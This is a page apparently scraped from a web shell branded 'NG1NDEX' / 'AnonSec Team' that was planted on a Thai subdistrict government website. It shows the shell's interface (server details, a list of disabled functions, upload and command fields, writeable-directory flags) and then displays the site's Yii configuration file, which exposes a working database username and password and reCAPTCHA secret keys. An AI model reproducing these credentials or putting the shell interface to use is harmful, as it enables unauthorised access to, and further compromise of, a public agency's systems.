NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 3.148.217.66
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/domains/sumpatuan.go.th/private_html/backup/protected/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/domains/sumpatuan.go.th/private_html/backup/protected/config/main.php
<?php

// uncomment the following to define a path alias
// Yii::setPathOfAlias('local','path/to/local-folder');
Yii::setPathOfAlias('bootstrap', dirname(__FILE__).'/../extensions/bootstrap');

// This is the main Web application configuration. Any writable
// CWebApplication properties can be configured here.
return array(
	'basePath'=>dirname(__FILE__).DIRECTORY_SEPARATOR.'..',
	'name'=>'องค์การบริหารส่วนตำบลสัมปทวน | ',
        'defaultController'=>'Main/MainHomepage',

	// preloading 'log' component
	'preload'=>array('log'),

	// autoloading model and component classes
	'import'=>array(
		'application.models.*',
		'application.components.*',
                'application.extensions.jformvalidate.EHtml',
	),

	'modules'=>array(
		// uncomment the following to enable the Gii tool
		/*
		'gii'=>array(
			'class'=>'system.gii.GiiModule',
			'password'=>'Enter Your Password Here',
			// If removed, Gii defaults to localhost only. Edit carefully to taste.
			'ipFilters'=>array('127.0.0.1','::1'),
		),
		*/
	),

	// application components
	'components'=>array(
       'bootstrap'=>array(
			'class'=>'bootstrap.components.Bootstrap',
		),
         
 		    
		'image'=>array(
			'class'=>'application.extensions.image.CImageComponent',
			'driver'=>'GD', 
		),
            
		'jformvalidate'=>array(
			'class'=>'application.extensions.jformvalidate.EJFValidate',
			'enable'=>true,
		),
            
		'user'=>array(
			// enable cookie-based authentication
			'allowAutoLogin'=>true,
		),
            
		// uncomment the following to enable URLs in path-format
               'urlManager'=>array(
                    'urlFormat'=>'path',
                    'showScriptName'=>false,
                    'caseSensitive'=>false,
			'rules'=>array(
                                // default
                                'error'=>'Main/Error',
                                'intro'=>'Main/Main',
                                'homepage'=>'Main/MainHomepage',

                                'admin'=>'Main/LoginAdmin',
                                'backend-administrator'=>'Admin/MainBackend',

                                'newsbook'=>'Main/LoginNewsbook',
                                'backend-newsbook'=>'Main/MainNewsbook',
								
								

                                // menu
                                'about'=>'Main/AboutAll',
                                'personal'=>'Main/PersonalAll',
                                'personal'=>'Main/PersonalPreview/id/1',
                                'personal'=>'Main/PersonalPreview/id/2',
                                'personal'=>'Main/PersonalPreview/id/3',
                                'personal'=>'Main/PersonalPreview/id/4',
                                'plan'=>'Main/PlanAll',
								'plan1'=>'Main/PlanStragegy',
								'plan2'=>'Main/Plantypeplan',
								'plan3'=>'Main/Plantyperesult',
								'plan4'=>'Main/Plantyperesultreport',
								'plan5'=>'Main/Plantypepplan',
								'plan6'=>'Main/Plantypereport',
								'plan7'=>'Main/Planthree',
                                'news'=>'Main/News',
								'news-preview'=>'Main/NewsPreview',
								'news1'=>'Main/Newstypetext',
								'news2'=>'Main/Newstypeactivity',
								'news3'=>'Main/NewsTender',
								'news-preview-tender'=>'Main/NewsTenderPreview',
								'news4'=>'Main/NewsFinance',
								'news-preview-finance'=>'Main/NewsFinancePreview',
                                'plan-budget'=>'Main/Plantypebudget',
								'plan-law'=>'Main/Plantypelaws',
                                'contact' => 'Main/Contact',
                                'agency' => 'Main/AgencyAll',
                                'reduction' => 'Main/Reduction',
								'download' => 'Main/Download',

                                // menu sub
                                'journal'=>'Main/JournalAll',
                                'hfund'=>'Main/NewsHfundAll',
                                'poll'=>'Main/PollAll',
                                'welfare'=>'Main/WelfareAll',
                                'place-otop'=>'Main/TravelAll',
                                'helping'=>'Main/HelpingAdd',
								'admin/download'=>'download/admin',
								
			),
                ),     
                
		'db'=>array(
			'connectionString' => 'sqlite:'.dirname(__FILE__).'/../data/testdrive.db',
		),
		// uncomment the following to use a MySQL database
		
		/* 'db'=>array(
			'connectionString' => 'mysql:host=localhost;dbname=ngiurai',
			'emulatePrepare' => true,
			'username' => 'root',
			'password' => 'root',
			'charset' => 'utf8',
		), */
           'db'=>array(
			'connectionString' => 'mysql:host=localhost;dbname=sumpatuan_db',
			'emulatePrepare' => true,
			'username' => 'sumpatuan',
			'password' => 'Mb4iEgAI97',
			'charset' => 'utf8',
		),
		
		'errorHandler'=>array(
			// use 'site/error' action to display errors
			'errorAction'=>'Main/Error',
		),
		'log'=>array(
			'class'=>'CLogRouter',
			'routes'=>array(
				array(
					'class'=>'CFileLogRoute',
					'levels'=>'error, warning',
				),
				// uncomment the following to show log messages on web pages
				/*
				array(
					'class'=>'CWebLogRoute',
				),
				*/
			),
		),
	),

	// application-level parameters that can be accessed
	// using Yii::app()->params['paramName']
	'params'=>array(
		// this is used in contact page
		'adminEmail'=>'webmaster@example.com',
            
                // http://www.google.com/recaptcha
                'recaptcha' => array(
                    'publicKey' => '6LdJRC4UAAAAALjloO9YXNmd7gw5iq77yuxch9UL',
                    'privateKey' => '6LdJRC4UAAAAAKrYNqFL2idiCxC5Mt8ZUGb8eJQZ',
		),

		'websiteName'=>'องค์การบริหารส่วนตำบลสัมปทวน',
                'copyright'=>'@2017 All right reserved, sumpatuan.go.th <br>
				design and development by Information Design Co.,Ltd.', // backends
                'pageSizeGrid'=>'5', // dataprovider num frontend
	),
);

Anon7 - 2022
AnonSec Team